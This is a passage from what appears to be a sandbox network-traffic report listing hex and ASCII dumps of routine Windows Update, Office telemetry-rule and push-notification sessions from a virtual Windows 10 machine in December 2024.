C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49848	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:00 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4FVHXPsVhxKz9S8&MD=vks3goxo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-08 14:39:01 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: a2d31dc6-bcec-4835-8c5d-028783a4c163 MS-RequestId: aeb188a0-5468-42b2-84e2-f918bc88b306 MS-CV: tWBv+t+KBE20WgQ1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 08 Dec 2024 14:39:00 GMT Connection: close Content-Length: 30005
2024-12-08 14:39:01 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-08 14:39:01 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:02 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:03 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143903Z-r1cf579d7786c2tshC1EWRr1gc00000005c00000000001kz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:03 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:02 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:03 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143903Z-r1cf579d778d5zkmhC1EWRk6h8000000062g000000004bcv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:03 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:02 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:03 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143903Z-r1cf579d778dfdgnhC1EWRd3w000000005fg0000000020u5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:03 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:02 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:03 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143903Z-r1cf579d778bb9vvhC1EWRs95400000005700000000043af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:03 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49853	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 6f 46 6e 6f 47 4a 30 57 30 6d 32 49 31 6a 4a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 37 33 63 35 36 66 35 63 35 64 31 31 61 38 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: toFnoGJ0W0m2I1jJ.1Context: a73c56f5c5d11a84
2024-12-08 14:39:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:39:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 6f 46 6e 6f 47 4a 30 57 30 6d 32 49 31 6a 4a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 37 33 63 35 36 66 35 63 35 64 31 31 61 38 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: toFnoGJ0W0m2I1jJ.2Context: a73c56f5c5d11a84<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:39:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 6f 46 6e 6f 47 4a 30 57 30 6d 32 49 31 6a 4a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 37 33 63 35 36 66 35 63 35 64 31 31 61 38 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: toFnoGJ0W0m2I1jJ.3Context: a73c56f5c5d11a84<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 14:39:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:39:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 37 49 4e 35 30 79 75 34 6b 57 48 77 46 64 68 4d 63 78 4b 4c 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: d7IN50yu4kWHwFdhMcxKLA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:03 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143904Z-r1cf579d778lntp7hC1EWR9gg4000000055g0000000006mm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:05 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:05 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143905Z-r1cf579d778v97q7hC1EWRf95c0000000580000000004a1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:05 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:05 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:05 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143905Z-r1cf579d778xr2r4hC1EWRqvfs00000005n0000000005snd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:05 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:05 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143905Z-r1cf579d778dndrdhC1EWR4b240000000590000000003zfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:05 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml 